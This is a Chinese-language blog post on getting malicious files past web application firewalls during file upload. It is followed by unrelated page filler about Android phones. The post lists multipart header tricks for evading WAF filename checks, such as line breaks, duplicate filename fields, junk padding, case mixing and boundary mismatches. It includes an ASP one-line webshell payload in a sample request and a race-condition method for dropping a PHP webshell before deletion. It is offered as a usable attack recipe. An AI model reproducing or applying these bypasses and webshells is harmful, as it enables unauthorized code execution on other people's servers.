文件上传—WAF拦截的绕过方式
admin
2024-02-11 20:48:35
0

文件上传—WAF拦截的绕过方式


    我们常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以

(1)通过filename换行来绕过检测,例如:

第一种:
Content-Disposition: form-data; name="file"; filename="1.p
hp"
第二种:
Content-Disposition: form-data; name="file"; file
name="1.php"
第三种:
Content-Disposition: form-data; name="file"; filename=
"1.php"
三种均可

(2)使用多个等号绕过检测,例如:

Content-Disposition: form-data; name="file"; filename==="a.php"

(3)增大文件大小,类似于sql注入的大量垃圾字符绕waf检测,例如:

Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"

(4)去掉双引号或替换为单引号绕过waf:

第一种:
Content-Disposition: form-data; name=file1; filename=a.php
第二种:
Content-Disposition: form-data; name='file1'; filename="a.php"

(5)有些只检测第一个firename,可以增加filename干扰拦截,例如:

Content-Disposition: form-data; name="file"; filename= ;  filename="a.php"

(6)混淆waf匹配字段,例如:
混淆form-data:

Content-Disposition: name="file"; filename="a.php"
去除form-data
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file";  filename="a.php"
替换form-data为垃圾值
Content-Disposition: form-data   ; name="file"; filename="a.php"
form-data后加空格
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+

混淆ConTent-Disposition

COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头
Content-Length: 666
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头

(7)双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。

(8)容器与WAF对Boundary要求规则不一致

Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
Content-Length: 253
-----------------------------471****1141173****525****99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------471****1141173****525****99--

一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。

(9)条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

fputs(fopen('shell6666.php','w'),'');

上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

相关内容

热门资讯

安卓系统比ios容量,iOS系... 你有没有想过,为什么你的安卓手机总是比iOS手机看起来能装下更多的东西呢?这背后其实有着不少门道呢!...
安卓系统如何有两个系统,安卓设... 你有没有想过,你的安卓手机里竟然可以藏着一个秘密世界?没错,就是可以同时拥有两个系统!这听起来是不是...
安卓系统崩溃进不去,深度解析故... 手机突然间罢工了,屏幕上黑漆漆的,安卓系统崩溃了,你心里是不是慌得一批?别急,今天就来给你详细说说安...
苹果系统游戏怎么变安卓,轻松实... 你有没有想过,那些在苹果系统上玩得如痴如醉的游戏,怎么就能在安卓系统上继续畅玩呢?是不是觉得这中间隔...
xp系统读取安卓手机,数据同步... 你有没有想过,你的XP系统竟然能读取安卓手机的数据呢?这听起来是不是有点神奇?别急,今天就来带你一探...
安卓系统用的流量,揭秘手机流量... 你有没有发现,手机里的安卓系统用流量那叫一个“疯狂”?有时候,明明没做什么大动作,流量就“嗖”的一下...
入门安卓机32位系统,轻松驾驭... 你有没有想过,拥有一台入门级的安卓手机,却因为32位系统而头疼不已?别急,今天就来给你详细解析一下这...
安卓系统怎么下对峙2,操作指南... 你有没有想过,在安卓系统上下载一款叫做“对峙2”的游戏会是怎样的体验呢?这款游戏在众多玩家中可是小有...
安卓车机好用系统推荐,打造智能... 你有没有发现,现在开车的时候,车机系统的重要性简直堪比导航仪呢!想象一边听着动感的音乐,一边看着实时...
安卓双系统内存卡,安卓双系统内... 你有没有想过,为什么你的安卓手机有时候会卡得像蜗牛一样?其实,这跟你的内存卡有着千丝万缕的关系呢!今...
安卓系统怎么取消双卡,安卓系统... 手机里的双卡功能,有时候真是让人又爱又恨。有时候,你可能会觉得两个卡槽太占地方,或者一个卡槽的流量用...
安卓系统被篡改怎么修复,快速修... 手机突然变得不听使唤了?安卓系统被篡改,是不是让你心头一紧?别慌,今天就来手把手教你如何修复安卓系统...
倩女幽魂ios系统和安卓系统,... 你有没有玩过倩女幽魂这款游戏呢?它可是近年来非常火爆的一款手游,无论是倩女幽魂ios系统还是安卓系统...
现在安卓手机什么系统,揭秘最新... 你有没有发现,现在走在街上,几乎每个人手里都拿着一部安卓手机?那么,问题来了,现在安卓手机都运行着什...
安卓系统能校准坐标吗,坐标定位... 你有没有想过,你的安卓手机里的地图导航是不是有时候会“迷路”?别急,今天就来聊聊这个话题:安卓系统能...
王者荣耀安卓系统进不去,王者荣... 最近是不是有不少王者荣耀的安卓玩家遇到了一个让人头疼的问题——进不去游戏?别急,今天就来给你详细解析...
c11系统是安卓系统吗,揭秘其... 你有没有听说过C11系统?是不是好奇它是不是安卓系统的一员呢?今天,就让我带你一探究竟,揭开这个神秘...
安卓系统上有没有safari,... 你有没有想过,在安卓系统上,我们能不能也像在苹果手机上那样,使用Safari浏览器呢?这可是个让人好...
小米是安卓系统的吗,引领智能生... 亲爱的读者,你是否曾好奇过,那些在我们生活中无处不在的小米手机,它们到底是不是安卓系统的呢?今天,就...
Windows11安卓子系统 亲爱的读者们,你是否也像我一样,对Windows 11的新功能充满了好奇和期待?今天,我要和你聊聊一...